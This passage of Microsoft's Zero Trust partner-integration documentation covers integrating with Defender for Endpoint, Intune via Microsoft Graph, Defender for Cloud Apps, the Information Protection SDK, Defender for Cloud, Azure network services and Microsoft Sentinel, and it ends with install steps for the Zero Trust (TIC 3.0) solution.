Azure Active Directory B2C custom domains (for example, login.contoso.com) always
pass through the WAF service, providing an additional layer of security.
Implementing a WAF solution requires that you configure Azure Active Directory B2C
custom domains. You can read how to do this in our tutorial on enabling custom
domains. You can also see existing partners who have created WAF solutions that
integrate with Azure Active Directory B2C.
Next steps
What is Microsoft Entra ID?
Partner gallery for Azure Active Directory B2C
Identity Protection and Conditional Access for Azure Active Directory B2C
Feedback
Endpoint integrations
Article • 04/17/2024
Endpoints are devices that access an organization's resources and applications. Modern
workplaces include a variety of devices that request access from both inside and outside
the corporate network.
Zero Trust solutions for endpoints are about verifying the security of the devices that
access work data, including the applications that are running on the devices. Partners
can integrate with Microsoft's endpoint solutions to verify device and app security,
enforce least privilege policies, and prepare in advance for breaches.
their endpoint security solutions by integrating with Microsoft products.
Zero Trust integration for Endpoints guide

This integration guide includes instructions for integrating with the following products:
Microsoft Defender for Endpoint, which helps enterprise networks prevent, detect,
investigate, and respond to advanced threats.
Microsoft Endpoint Manager, which provides protection and security for the
devices that employees use and the applications that run on those devices.
Microsoft Defender for IoT, which provides security across your operational
technology (OT) networks.

Microsoft Defender for Endpoint is an enterprise endpoint security platform designed to
help enterprise networks prevent, detect, investigate, and respond to advanced threats.
It uses a combination of endpoint behavioral sensors, cloud security analytics, and threat
intelligence.
Defender for Endpoint supports third-party applications to help enhance the detection,
investigation, and threat intelligence capabilities of the platform. In addition, partners
can extend their existing security offerings on top of the open framework and a rich and
complete set of APIs to build extensions and integrations with Defender for Endpoint.
The Microsoft Defender for Endpoint partner opportunities and scenarios page
describes several categories of integrations that are supported. In addition, other ideas
for integration scenarios can include:
Streamlining threat remediation: Microsoft Defender for Endpoint can take

immediate or operator-assisted responses to address alerts. Partners can leverage
the endpoint response actions such as machine isolation, file quarantine to block
IoC across the managed endpoint.
Combine network access control with device security: Risk or exposure scores can
be used to implement and enforce policies for network and application access.
To become a Defender for Endpoint solution partner, you'll need to follow and complete
the steps found at Become a Microsoft Defender for Endpoint partner.
Microsoft Endpoint Manager

Microsoft Endpoint Manager, which includes Microsoft Intune and Microsoft
Configuration Manager, provides protection and security for the devices that employees
use and the applications that run on those devices. Endpoint Manager includes device
compliance policies that ensure employees are accessing applications and data from
devices that meet company security policies. It also includes application protection
policies which provide application based security controls for both fully managed and
employee-owned devices.
To integrate with Microsoft Endpoint Manager, ISVs will use Microsoft Graph and the
Microsoft Endpoint Manager application management SDK. Endpoint Manager’s
integration with the Graph API allows any of the same functionality offered by the
administrator console for Endpoint Manager (Intune). Information such as device
compliance state, compliance policy configuration, application protection policy settings
and more can be found through the Graph API. Additionally, you can automate tasks in
Endpoint Manager that further enhance your customer’s Zero Trust story. General
guidance for Working with Intune in Microsoft Graph is available in the Microsoft Graph
documentation repo. Here, we focus on scenarios related to Zero Trust.
Verify devices follow security and compliance standards
ISV solutions can leverage Endpoint Manager’s device compliance and policy
information to support the Zero Trust principle of Verify Explicitly. The compliance data
about users and devices from Endpoint Manager allows the ISV's application to
determine a device's risk posture as it relates to use of the application. By doing these
verifications, the ISV ensures that devices using the service are compliant with the
customers’ security and compliance standards and policies.
The Microsoft Graph API allows ISVs to integrate with Endpoint Manager (Intune)
through a set of RESTful APIs. These APIs are the same ones used by the Endpoint
Manager console to view, create, manage, deploy, and report on all actions, data and
activity in Intune. Items of specific interest for ISVs supporting Zero Trust initiatives are
the ability to view device compliance state and configure compliance rules and policies.
See Microsoft's recommendations for using Microsoft Entra ID and Endpoint Manager
for Zero Trust configuration and compliance: Secure endpoints with Zero Trust. Endpoint
Manager’s compliance rules are foundational for device based Conditional Access
support through Microsoft Entra ID. ISVs should also view the Conditional Access
feature and APIs to understand how to complete scenarios for user and device
compliance and Conditional Access.
Ideally as an ISV, your application connects to the Microsoft Graph APIs as a cloud
application and establishes a service-to-service connection. Multi-tenant applications
provide ISVs with centralized application definition and control and enable customers to
individually consent to the ISV application operating against their tenant data. Review
the information on Tenancy in Microsoft Entra ID for registering and creating single or
multi-tenant Microsoft Entra Applications. Your application’s authentication can leverage
Microsoft Entra ID for single sign on.
After creating your application, you will need to access the device and compliance
information using the Microsoft Graph API. Documentation for using Microsoft Graph
can be found at the Microsoft Graph dev center. The Graph API is a RESTful set of APIs
that follow ODATA standards for data access and querying.
Getting Device compliance state
This diagram shows how device compliance information flows from the device to your
ISV solution. End user devices receive policies from Intune, a mobile threat defense
(MTD) partner, or an mobile device management (MDM) compliance partner. Once the
compliance information is gathered from the devices, Intune calculates the overall
compliance state of each device and stores that in Microsoft Entra ID. By using the
Microsoft Graph API, your solution can read and respond to the device compliance
state, applying the principles of Zero Trust.
When enrolled with Intune, a device record is created in Intune with additional device
details, including the device compliance state. Intune forwards the device compliance
state to Microsoft Entra ID, where Microsoft Entra ID also stores the compliance state
with each device. By making a GET on
https://graph.microsoft.com/v1.0/deviceManagement/managedDevices you can see all the
enrolled devices for a tenant and their compliance state. Or you can query
https://graph.microsoft.com/v1.0/devices to get a list of the Microsoft Entra registered
and enrolled devices and their compliance state.
For example, this request:
HTTP
GET
https://graph.microsoft.com/v1.0/users/{usersId}/managedDevices/{managedDevi
ceId}
Will return:
HTTP
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 5095
{
"value": {
"@odata.type": "#microsoft.graph.managedDevice",
"id": "705c034c-034c-705c-4c03-5c704c035c70",
"userId": "User Id value",
"deviceName": "Device Name value",
"managedDeviceOwnerType": "company",
"enrolledDateTime": "2016-12-31T23:59:43.797191-08:00",
"lastSyncDateTime": "2017-01-01T00:02:49.3205976-08:00",
"complianceState": "compliant",
...
}
You can also retrieve a list of compliance policies, their deployments, and status of users
and devices for those compliance policies. Information for calling Graph to get
compliance policy information starts here: Get deviceCompliancePolicy - Microsoft
Graph v1.0. A good background on device compliance policies and how they are used is
here: Device compliance policies in Microsoft Intune - Azure.
Once you have identified a specific policy, you can query to get the state of a device for
a particular compliance policy setting. For example, assuming a compliance policy was
deployed to require a passcode on lock, query Get deviceComplianceSettingState for
the specific state of that setting. This indicates whether the device is compliant or non-
compliant with the passcode lock setting. This same approach can be used for other
device compliance policies that customers have deployed.
Compliance information is foundational to Microsoft Entra ID’s Conditional Access

feature. Intune determines the device compliance based on compliance policies and
writes the compliance state to Microsoft Entra ID. Then, customers use Conditional
Access policies to determine whether any actions are taken for non-compliance,
including blocking the users from accessing corporate data from a non-compliant
device.
See Device compliance policies in Microsoft Intune for additional information about
integrating device compliance with conditional access.
Follow the least privilege access principle
An ISV integrating with Endpoint Manager will also want to ensure their application
supports the Zero Trust principle to Apply Least Privilege Access. Endpoint Manager
integration supports two important methods of access control – delegated permissions
or application permissions. The ISV's application must use one of the permission
models. Delegated permissions give you fine grained control over the specific objects in
Endpoint Manager the application has access to but requires that an administrator log
in with their credentials. By comparison, application permissions allow the ISV's app to
access or control classes of data and objects, rather than specific individual objects, but
does not require a user to log in.
In addition to creating your application as a single-tenant or multi-tenant (preferred)

application, you must declare the delegated or application permissions required by your
application to access Endpoint Manager information and perform actions against
Endpoint Manager. View information about getting started with permissions here:
Quickstart: Configure an app to access a web API.

Operational technology (OT) network architectures often differ from traditional IT
infrastructure, using unique technology with proprietary protocols. OT devices may also
have aging platforms with limited connectivity and power, or specific safety
requirements and unique exposures to physical attacks.
Deploy Microsoft Defender for IoT to apply zero trust principles to your OT network,
monitoring traffic for anomalous or unauthorized behavior as traffic crosses sites and
zones. Watch for threats and vulnerabilities specific to OT devices, mitigating risks as
they're detected.
Speed operations by sharing Defender for IoT data across your security operations
center (SOC) and other parts of your organization. Integrate with Microsoft services,
such as Microsoft Sentinel and Defender for Endpoint, or other partner services,
including both SIEM and ticketing systems. For example:
Forward on-premises alert data directly to SIEMs such as Splunk, IBM QRadar, and
more. Splunk and IBM QRadar also support Event Hub ingestion, which you can
use to forward cloud alerts from Defender for IoT.
Integrate with ServiceNow's Operational Technology Manager to import Defender
for IoT data to ServiceNow and risk-based action with production process context.
Get started with OT security monitoring

Monitor with Zero Trust
Defender for IoT integration catalog
Next steps
Microsoft Endpoint Manager
Feedback
Application integrations
Article • 04/17/2024
Applications are core productivity tools for employees. In a modern workplace, adoption
of cloud based Software as a Service (SaaS) applications has created new challenges for
IT. Lack of visibility and control over applications, the way users interact with them, and
the data that is exposed through them creates security and compliance risks.
Zero Trust solutions for the applications pillar are about providing visibility and control
over app usage data and analytics that identify and combat cyber threats across cloud
apps and services.
their applications security solutions by integrating with Microsoft products.
Zero Trust integration with Applications guide

This integration guide includes instructions for integrating with Microsoft Defender for
Cloud Apps). Defender for Cloud Apps is a cloud access security broker (CASB) that
operates on multiple clouds. It provides rich visibility, control over data travel, and
sophisticated analytics to identify and combat cyberthreats across all your cloud
services.
Independent software vendors (ISVs) can integrate with Defender for Cloud Apps to
help organizations discover risky usage or potential exfiltration and protect them from
risks surfaced by the use of shadow applications.
The Defender for Cloud Apps API provides programmatic access to Defender for Cloud
Apps through REST API endpoints. ISVs can use the API to perform read and update
operations on Defender for Cloud Apps data and objects at scale. For example:
Uploading log files for Cloud Discovery

Generating block scripts
List activities and alerts
Dismiss or resolve alerts
This allows ISVs to:
Use Cloud Discovery to map and identify your cloud environment and the cloud
apps your organization is using.
Sanction and unsanction apps in your cloud.
Easily deploy app connectors that take advantage of provider APIs, for deeper
visibility and granular governance of apps that you connect to.
Use Conditional Access App Control protection to get real-time visibility and
control over access and activities within your cloud apps.
To get started, check out the introduction to the Defender for Cloud Apps REST API.
Shadow IT partner integration

Secure Web Gateways (SWG) and Endian Firewall (EFW) solutions can integrate with
Defender for Cloud Apps to provide customers with a comprehensive Shadow IT
discovery, compliance and security risk assessment of the discovered apps, and
integrated Access Control to unsanctioned apps.
The principles of the integration are:
1. Deployment-less: The vendor will stream traffic logs directly to Defender for Cloud
Apps to avoid any agent deployment and maintenance.
2. Log enrichment and App correlation: traffic logs will be enriched against the
Defender for Cloud Apps catalog to map each log record to a known app
(associated with a risk profile)
3. Defender for Cloud Apps analytics and reporting: Defender for Cloud Apps will
analyze and process the data to provide an overview Shadow IT report
4. Risk-based access control: Defender for Cloud Apps will sync back to the vendor
the signatures of the app to be blocked in to allow the customer with risk-based
app management in Defender for Cloud Apps that is enforced by consistent access
control mechanism of the vendor
We recommend performing the following steps before starting to develop the

integration:
1. Create a trial Defender for Cloud Apps tenant using this link .
2. Upload a sample traffic log using the manual upload feature.
3. Alternatively, you can use the API-based upload. For detailed instructions, use your
trial credentials and Cloud Discovery API documentation
a. Generate API token
b. Log upload –consists of three stages:
i. Initiate file upload
ii. Perform file upload
iii. Finalize file upload
c. Generate block script (that is, extract unsanctioned apps info)
When uploading the log, choose one of the following parser options:
1. If your log format is a standard CEF, W3C, LEEF, select it in the dropdown of
existing log formats
2. If not, configure a custom log parser
Next steps
Microsoft Defender for Cloud Apps overview
Defender for Cloud Apps REST API
Feedback
Data integrations
Article • 04/17/2024
Keeping data protected is a central objective of a Zero Trust strategy. Where possible,
data should remain safe even if it leaves the devices, apps, infrastructure, and networks
the organization controls. To ensure protection and that data access is restricted to
authorized users, data should be inventoried, classified, labeled, and, where appropriate,
encrypted.
Zero Trust data solutions help customers classify and label data based on assessed risk,
and ensure that the data management is following the organization's compliance
requirements.
their data security solutions by integrating with Microsoft products.
Zero Trust integration for Data guide

This integration guide includes instructions for integrating with the Microsoft
Information Protection SDK, which is the unification of Microsoft's classification,
labeling, and protection services.
Independent software vendors (ISVs) can integrate with the Microsoft Information
Protection (MIP) SDK to build solutions that help customers understand and protect
data, prevent data loss, and govern data storage and access.
Microsoft Information Protection SDK
The Microsoft information protection solution is the unification of Microsoft's
classification, labeling, and protection services. Third parties can use the MIP SDK to
integrate with applications, using a standard, consistent data labeling schema and
protection service.
ISVs can use the Microsoft Information Protection SDK to help customers understand
their data landscape, apply flexible protection actions, detect risky behavior to prevent
data loss, and maintain data compliance through automatic actions. For example:
Applying labels automatically to documents based on content

Enforcing protection and controls based on labels
Automatically classifying and protecting data coming out of apps to prevent data
theft
The Microsoft Information Protection SDK - API concepts page includes more examples
of how you can integrate with the MIP SDK.
https://www.youtube-nocookie.com/embed/MjVXD4OKaLo
Getting started with the SDK

We have included the following guidance to help you on the journey to integrating your
solutions with Microsoft Entra ID.
Microsoft Information Protection SDK This document describes common use cases for
the MIP SDK, including how to get started using the SDK and building integrations. The
MIP SDK exposes the labeling and protection services from Microsoft 365 Security and
Compliance Center to third-party applications and services. Partners can use the SDK to
build solutions with native support for applying labels and protection to files as well as
reasoning over MIP-encrypted information and which actions should be taken when
specific labels are detected.
https://aka.ms/mipsdksamples This resource contains sample implementations

showing the use of the MIP SDK in code. For example, the .NET File Quickstart
demonstrates labeling and reading labels on files.
Next steps
Microsoft Information Protection SDK - Classification label concepts
Microsoft Purview Compliance Manager
Microsoft Purview Information Protection
(Video) Develop Compliance Powered LOB Applications with Microsoft Purview
Information Protection
Feedback
Infrastructure integrations
Article • 04/17/2024
Infrastructure comprises the hardware, software, micro-services, networking

infrastructure, and facilities required to support IT services for an organization. Zero
Trust infrastructure solutions assess, monitor, and prevent security threats to these
services.
Zero Trust infrastructure solutions support the principles of Zero Trust by ensuring that
access to infrastructure resources is verified explicitly, access is granted using principles
of least privilege access, and mechanisms are in place that assume breach and look for
and remediate security threats in infrastructure.
their infrastructure security solutions by integrating with Microsoft products.
Zero Trust integration for Infrastructure guide

This integration guide includes strategy and instructions for integrating with Microsoft
Defender for Cloud and its integrated cloud workload protection plans, Microsoft
Defender for ... (Servers, Containers, Databases, Storage, App Services, and more).
The guidance includes integrations with the most popular Security Information and
Event Management (SIEM), Security Orchestration Automated Response (SOAR),
Endpoint Detection and Response (EDR), and IT Service Management (ITSM) solutions.
Zero Trust and Defender for Cloud

Our Zero Trust infrastructure deployment guidance provides key stages of the Zero Trust
strategy for infrastructure. These are:
1. Assess compliance with chosen standards and policies

2. Harden configuration wherever gaps are found
3. Employ other hardening tools such as just-in-time (JIT) VM access
4. Set up threat detection and protections
5. Automatically block and flag risky behavior and take protective actions
There's a clear mapping from the goals we've described in the infrastructure
deployment guidance to the core aspects of Defender for Cloud.
ﾉ Expand table
Zero Trust goal Defender for Cloud feature
Assess In Defender for Cloud, every subscription automatically has the Microsoft
compliance cloud security benchmark (MCSB) assigned as the default security initiative.
Using the secure score tools and the regulatory compliance dashboard you
can get a deep understanding of your customer's security posture.
Harden Assigning security initiatives to subscriptions, and reviewing the secure score,
configuration leads you to the hardening recommendations built into Defender for Cloud.
Defender for Cloud periodically analyzes the compliance status of resources
to identify potential security misconfigurations and weaknesses. It then
provides recommendations on how to remediate those issues.
Employ As well as one-time fixes to security misconfigurations, Defender for Cloud

hardening includes features to further harden your resources such as:
mechanisms Just-in-time (JIT) virtual machine (VM) access
Adaptive network hardening
Adaptive application controls.
Set up threat Defender for Cloud offers integrated cloud workload protection plans, for
detection threat detection and response. The plans provide advanced, intelligent,
protection of Azure, hybrid, and multicloud resources and workloads.
One of the Microsoft Defender plans, Defender for servers, includes a native
integration with Microsoft Defender for Endpoint.
Learn more in Introduction to Microsoft Defender for Cloud.
Automatically Many of the hardening recommendations in Defender for Cloud offer a deny
block suspicious option. This feature lets you prevent the creation of resources that don't
behavior satisfy defined hardening criteria. Learn more in Prevent misconfigurations
with Enforce/Deny recommendations.
Automatically flag Microsoft Defender for Cloud's security alerts are triggered by advanced
suspicious detections. Defender for Cloud prioritizes and lists the alerts, along with the
behavior information needed for you to quickly investigate the problem. Defender for
Cloud also provides detailed steps to help you remediate attacks. For a full
list of the available alerts, see Security alerts - a reference guide.
Protect your Azure PaaS services with Defender for Cloud

With Defender for Cloud enabled on your subscription, and the Defender workload
protection plans enabled for all available resource types, you'll have a layer of intelligent
threat protection - powered by Microsoft Threat Intelligence - protecting resources in
Azure Key Vault, Azure Storage, Azure DNS, and other Azure PaaS services. For a full list,
see the PaaS services listed in the Support matrix.
Azure Logic Apps

Use Azure Logic Apps to build automated scalable workflows, business processes, and
enterprise orchestrations to integrate your apps and data across cloud services and on-
premises systems.
Defender for Cloud's workflow automation feature lets you automate responses to
Defender for Cloud triggers.
This is great way to define and respond in an automated, consistent manner when
threats are discovered. For example, to notify relevant stakeholders, launch a change
management process, and apply specific remediation steps when a threat is detected.
Integrate Defender for Cloud with your SIEM, SOAR, and

ITSM solutions
Microsoft Defender for Cloud can stream your security alerts into the most popular
Security Information and Event Management (SIEM), Security Orchestration Automated
Response (SOAR), and IT Service Management (ITSM) solutions.
There are Azure-native tools for ensuring you can view your alert data in all of the most
popular solutions in use today, including:
Microsoft Sentinel
Splunk Enterprise and Splunk Cloud
IBM's QRadar
ServiceNow
ArcSight
Power BI
Palo Alto Networks
Microsoft Sentinel
Defender for Cloud natively integrates with Microsoft Sentinel, Microsoft's cloud-native,
security information event management (SIEM) and security orchestration automated
response (SOAR) solution.
There are two approaches to ensuring your Defender for Cloud data is represented in
Microsoft Sentinel:
Sentinel connectors - Microsoft Sentinel includes built-in connectors for Microsoft
Defender for Cloud at the subscription and tenant levels:
Stream alerts to Microsoft Sentinel at the subscription level
Connect all subscriptions in your tenant to Microsoft Sentinel
 Tip
Learn more in Connect security alerts from Microsoft Defender for Cloud.
Stream your audit logs - An alternative way to investigate Defender for Cloud
alerts in Microsoft Sentinel is to stream your audit logs into Microsoft Sentinel:
Connect Windows security events
Collect data from Linux-based sources using Syslog
Connect data from Azure Activity log
Stream alerts with Microsoft Graph Security API

Defender for Cloud has out-of-the-box integration with Microsoft Graph Security API.
No configuration is required and there are no additional costs.
You can use this API to stream alerts from the entire tenant (and data from many other
Microsoft Security products) into third-party SIEMs and other popular platforms:
Splunk Enterprise and Splunk Cloud - Use the Microsoft Graph Security API Add-
On for Splunk
Power BI - Connect to the Microsoft Graph Security API in Power BI Desktop
ServiceNow - Follow the instructions to install and configure the Microsoft Graph
Security API application from the ServiceNow Store
QRadar - IBM's Device Support Module for Microsoft Defender for Cloud via
Microsoft Graph API
Palo Alto Networks, Anomali, Lookout, InSpark, and more - Microsoft Graph
Security API
Learn more about Microsoft Graph Security API .
Stream alerts with Azure Monitor
Use Defender for Cloud's continuous export feature to connect Defender for Cloud with
Azure monitor via Azure Event Hubs and stream alerts into ArcSight, SumoLogic, Syslog
servers, LogRhythm, Logz.io Cloud Observability Platform, and other monitoring
solutions.
Learn more in Stream alerts with Azure Monitor.
This can also be done at the Management Group level using Azure Policy, see Create
continuous export automation configurations at scale.
 Tip
To view the event schemas of the exported data types, visit the Event Hub event
schemas .
Integrate Defender for Cloud with an Endpoint Detection

and Response (EDR) solution
Microsoft Defender for Endpoint is a holistic, cloud-delivered endpoint security solution.
Microsoft Defender for servers, includes an integrated license for Microsoft Defender for
Endpoint . Together, they provide comprehensive endpoint detection and response
(EDR) capabilities. For more information, see Protect your endpoints.
When Defender for Endpoint detects a threat, it triggers an alert. The alert is shown in
Defender for Cloud and you can pivot to the Defender for Endpoint console to perform
a detailed investigation and uncover the scope of the attack. Learn more about
Microsoft Defender for Endpoint.
Other EDR solutions

Defender for Cloud provides hardening recommendations to ensure you're securing
your organization's resources according to the guidance of Microsoft cloud security
benchmark (MCSB). One of the controls in the benchmark relates to endpoint security:
ES-1: Use Endpoint Detection and Response (EDR).
There are two recommendations in Defender for Cloud to ensure you've enabled
endpoint protection and it's running well. These recommendations are checking for the
presence and operational health of EDR solutions from:
Trend Micro
Symantec
McAfee
Sophos
Learn more in Endpoint protection assessment and recommendations in Microsoft
Defender for Cloud.
Apply your Zero Trust strategy to hybrid and multi cloud

scenarios
With cloud workloads commonly spanning multiple cloud platforms, cloud security
services must do the same.
Microsoft Defender for Cloud protects workloads wherever they're running: in Azure,
on-premises, Amazon Web Services (AWS), or Google Cloud Platform (GCP).
Integrate Defender for Cloud with on-premises machines
To secure hybrid cloud workloads, you can extend Defender for Cloud's protections by
connecting on-premises machines to Azure Arc enabled servers.
Learn about how to connect machines in Connect your non-Azure machines to

Defender for Cloud.
Integrate Defender for Cloud with other cloud environments
To view the security posture of Amazon Web Services machines in Defender for Cloud,
onboard AWS accounts into Defender for Cloud. This will integrate AWS Security Hub
and Microsoft Defender for Cloud for a unified view of Defender for Cloud
recommendations and AWS Security Hub findings and provide a range of benefits as
described in Connect your AWS accounts to Microsoft Defender for Cloud.
To view the security posture of Google Cloud Platform machines in Defender for Cloud,
onboard GCP accounts into Defender for Cloud. This will integrate GCP Security
Command and Microsoft Defender for Cloud for a unified view of Defender for Cloud
recommendations and GCP Security Command Center findings and provide a range of
benefits as described in Connect your GCP accounts to Microsoft Defender for Cloud.
Next steps
To learn more about Microsoft Defender for Cloud, see the complete Defender for Cloud
documentation.
Feedback
Network integrations
Article • 04/17/2024
Traditional enterprise networks are designed to provide users access to applications and
data hosted in company operated data centers with strong perimeter security. However,
the modern workplace increasingly uses services and data outside the corporate firewall.
Apps and services have moved to the cloud, and users need to be able to access them
from a variety of work and personal devices.
Network solutions are an important piece of Zero Trust. They verify that the ingress and
egress at the edge of the network is allowable and inspect traffic for malicious content.
They support least privilege access and the principle of "assume breach" by allowing
organizations to segment networks and only connect users to the segment of the
network they need access to.
Zero Trust integration with Networks guidance

Independent Software Vendor (ISV) partners integrate with Microsoft's network
solutions and bring their own security expertise to enhance the products.
In this article we discuss our Network integration partners so customers can use familiar,
best-in-breed, third-party security as a service (SECaaS) offerings to protect Internet
access for their users. Please see Microsoft 365 Networking Partner Program for more
information about becoming an ISV partner.
Gateway Load Balancer

Gateway Load Balancer is a SKU of the Azure Load Balancer portfolio catered for high
performance and high availability scenarios with third-party Network Virtual Appliances
(NVAs). It enables you to easily deploy, scale, and manage NVAs.
Virtual WAN
Virtual WAN is a networking service that brings many networking, security, and routing
functionalities together to provide a single operational interface. It provides a hub and
spoke architecture with scale and performance built in for branches (VPN/SD-WAN
devices), users (Azure VPN/OpenVPN/IKEv2 clients), ExpressRoute circuits, and virtual
networks. It enables a global transit network architecture, where the cloud hosted
network 'hub' enables transitive connectivity between endpoints that may be distributed
across different types of 'spokes'.
Azure Web Application Firewall

Azure Web Application Firewall (WAF) provides centralized protection of your web
applications from common exploits and vulnerabilities. WAF can be deployed with Azure
Application Gateway, Azure Front Door, and Azure Content Delivery Network (CDN)
service from Microsoft. WAF on Azure CDN is currently under public preview.
DDOS Protection
Azure DDoS Protection, combined with application design best practices, provides
enhanced DDoS mitigation features to defend against DDoS attacks. It's automatically
tuned to help protect your specific Azure resources in a virtual network. Protection is
simple to enable on any new or existing virtual network, and it requires no application or
resource changes.

Azure Firewall Manager is a security management service that provides central security
policy and route management for cloud-based security perimeters.
Security partner providers have integrated with Azure Firewall Manager so customers
can use familiar, best-in-breed, third-party security as a service (SECaaS) offerings to
protect Internet access for their users. Customers can secure a hub with a supported
security partner and route and filter Internet traffic from Virtual Networks (VNets) or
branch locations within a region. Hubs can be deployed in multiple Azure regions to get
connectivity and security anywhere across the globe, using the security partner’s
offering for Internet/SaaS application traffic and Azure Firewall for private traffic in the
secured hubs.
The supported security partners are Zscaler, Check Point, and iboss.
If your solution will connect with Microsoft 365, you can use the guidance from the
Microsoft 365 Networking Partner Program to ensure that your solution follows
Microsoft 365 network connectivity principles. The purpose of this program is to
facilitate great customer experience with Microsoft 365 through easy discovery of
validated partner solutions that consistently demonstrate alignment to key principles for
optimal Microsoft 365 connectivity in customer deployments.
Next steps
Gateway Load Balancer documentation
Virtual WAN documentation
DDOS Protection documentation
Azure Firewall Manager documentation
Feedback
integrations
Article • 04/17/2024
Organizations today have to contend with an increasingly complex threat landscape.

Assuming breach is a key principle of Zero Trust. Assuming breach effectively means
having a threat detection approach with visibility across the entire estate as well as the
level of depth that security teams need to drill down into individual threats.
Visibility, automation, and orchestration integrations are about building robust solutions
for monitoring security signals. They're key to ensuring the ongoing security of an
environment by detecting suspicious behavior and enabling proactive hunting for
threats. They allow customers to scan for unexpected behavior and access and
proactively search for bad actors already in the network.
their visibility, automation, and orchestration security solutions by integrating with
Microsoft products.

Trust integration guide
This integration guide includes instructions for integrating with Microsoft Sentinel.
Microsoft Sentinel is Microsoft’s cloud-native Security Information and Event
Management (SIEM) service. Independent software vendors (ISVs) can integrate with
Microsoft Sentinel. This integration enables new use-cases for customers by providing
data connectors, analytics rules, interactive workbooks, and automation playbooks that
deliver end-to-end product, domain and industry vertical value for customers.
Microsoft Sentinel
Microsoft’s approach to threat protection is to combine both Security Information and
Event Management (SIEM) and Extended Detection and Response (XDR) into an
integrated experience, with Microsoft Sentinel, Microsoft Defender XDR, and Microsoft
Defender for Cloud. This approach gives organizations the best of both worlds: end-to-
end threat visibility across all of your resources; correlated, prioritized alerts based on
the deep understanding Microsoft has of specific resources and AI that stitches that
signal together; and coordinated action across the organization.
Microsoft Sentinel, Microsoft’s cloud-native SIEM, provides a bird’s eye view across your
entire digital estate. It provides intelligent security analytics across all users, devices,
applications, and infrastructure, both on-premises and in multiple clouds. It then cross-
correlates and detects threats using machine learning, and streamlines investigations
with AI and powerful hunting tools.
Microsoft Sentinel has many integrations with partner solutions, including other security
solutions, clouds, threat intelligence vendors, and more. ISVs can integrate with
Microsoft Sentinel to enable new use-cases for customers with data connectors,
analytics rules, interactive workbooks, and automation playbooks to deliver end-to-end
product or domain or industry vertical value for customers.
The following guidance helps you create solutions that integrate with Microsoft Sentinel.
What you can build: Integration Opportunities Guide for Microsoft Sentinel
Partners can engage with Microsoft Sentinel in several key scenarios to deliver mutual
customer value. This article outlines these scenario opportunities and technical
integrations by describing how to decide what integrations to build, how to get started,
how to deliver to Microsoft Sentinel customers, and finally how to promote Microsoft
Sentinel Integrations.
How to build it: Integration Components for Microsoft Sentinel
Once you've identified the scenarios you want to support with your solution, create a list
of artifacts to implement. This resource contains a list of all the artifacts that you can
build and guidance on how to build them. It's available as part of the Threat Hunters
program, which is Microsoft Sentinel's community of content contributors inclusive of
both partners and the community.
How to package it: Guide to Building Microsoft Sentinel Solutions

After you've created a solution, you must publish it. This guide provides an overview of
Microsoft Sentinel Solutions and how to build and publish a solution for Microsoft
Sentinel.
Microsoft Sentinel Solutions allows partners to deliver combined product, domain, or

vertical value via solutions in Microsoft Sentinel and be able to productize investments.
It supports discoverability, deployment, and enablement of scenarios in Microsoft
Sentinel. It is powered by Azure Marketplace and the Microsoft Partner Center.
Next steps
Build and monitor Zero Trust (TIC 3.0) security architectures with Microsoft Sentinel
Integration Opportunities Guide for Microsoft Sentinel
Integration Components for Microsoft Sentinel
Guide to Building Microsoft Sentinel Solutions
Feedback
Monitor Zero Trust (TIC 3.0) security
architectures with Microsoft Sentinel
Article • 03/17/2023
Zero Trust is a security strategy for designing and implementing the following sets of
security principles:
Verify explicitly Use least privilege access Assume breach
Always Limit user access with Just-In- Minimize blast radius and segment
authenticate and Time and Just-Enough-Access access. Verify end-to-end encryption and
authorize based (JIT/JEA), risk-based adaptive use analytics to get visibility, drive threat
on all available policies, and data protection. detection, and improve defenses.
data points.
This article describes how to use the Microsoft Sentinel Zero Trust (TIC 3.0) solution,
which helps governance and compliance teams monitor and respond to Zero Trust
requirements according to the TRUSTED INTERNET CONNECTIONS (TIC) 3.0 initiative.
Microsoft Sentinel solutions are sets of bundled content, pre-configured for a specific
set of data. The Zero Trust (TIC 3.0) solution includes a workbook, analytics rules, and a
playbook, which provide an automated visualization of Zero Trust principles, cross-
walked to the Trust Internet Connections framework, helping organizations to monitor
configurations over time.
The Zero Trust solution and the TIC 3.0

framework
Zero Trust and TIC 3.0 are not the same, but they share many common themes and
together provide a common story. The Microsoft Sentinel solution for Zero Trust (TIC
3.0) offers detailed crosswalks between Microsoft Sentinel and the Zero Trust model
with the TIC 3.0 framework. These crosswalks help users to better understand the
overlaps between the two.
While the Microsoft Sentinel solution for Zero Trust (TIC 3.0) provides best practice
guidance, Microsoft does not guarantee nor imply compliance. All Trusted Internet
Connection (TIC) requirements, validations, and controls are governed by the
Cybersecurity & Infrastructure Security Agency .
The Zero Trust (TIC 3.0) solution provides visibility and situational awareness for control
requirements delivered with Microsoft technologies in predominantly cloud-based
environments. Customer experience will vary by user, and some panes may require
additional configurations and query modification for operation.
Recommendations do not imply coverage of respective controls, as they are often one
of several courses of action for approaching requirements, which is unique to each
customer. Recommendations should be considered a starting point for planning full or
partial coverage of respective control requirements.
The Microsoft Sentinel solution for Zero Trust (TIC 3.0) is useful for any of the following
users and use cases:
Security governance, risk, and compliance professionals, for compliance posture

assessment and reporting
Engineers and architects, who need to design Zero Trust and TIC 3.0-aligned
workloads
Security analysts, for alert and automation building
Managed security service providers (MSSPs) for consulting services
Security managers, who need to review requirements, analyze reporting,
evaluating capabilities
Prerequisites
Before installing the Zero Trust (TIC 3.0) solution, make sure you have the following
prerequisites:
Onboard Microsoft services: Make sure that you have both Microsoft Sentinel and
Microsoft Defender for Cloud enabled in your Azure subscription.
Microsoft Defender for Cloud requirements: In Microsoft Defender for Cloud:
Add required regulatory standards to your dashboard. Make sure to add both
the Azure Security Benchmark and NIST SP 800-53 R5 Assessments to your
Microsoft Defender for Cloud dashboard. For more information, see add a
regulatory standard to your dashboard in the Microsoft Defender for Cloud
documentation.
Continuously export Microsoft Defender for Cloud data to your Log Analytics
workspace. For more information, see Continuously export Microsoft Defender
for Cloud data.
Required user permissions. To install the Zero Trust (TIC 3.0) solution, you must
have access to your Microsoft Sentinel workspace with Security Reader
permissions.
The Zero Trust (TIC 3.0) solution is also enhanced by integrations with other Microsoft
Services, such as:
Microsoft 365 Defender

Microsoft Information Protection
Azure Active Directory
Install the Zero Trust (TIC 3.0) solution

To deploy the Zero Trust (TIC 3.0) solution from the Azure portal:
1. In Microsoft Sentinel, select Content hub and locate the Zero Trust (TIC 3.0)
solution.
2. At the bottom-right, select View details, and then Create. Select the subscription,
resource group, and workspace where you want to install the solution, and then
review the related security content that will be deployed.
When you're done, select Review + Create to install the solution.
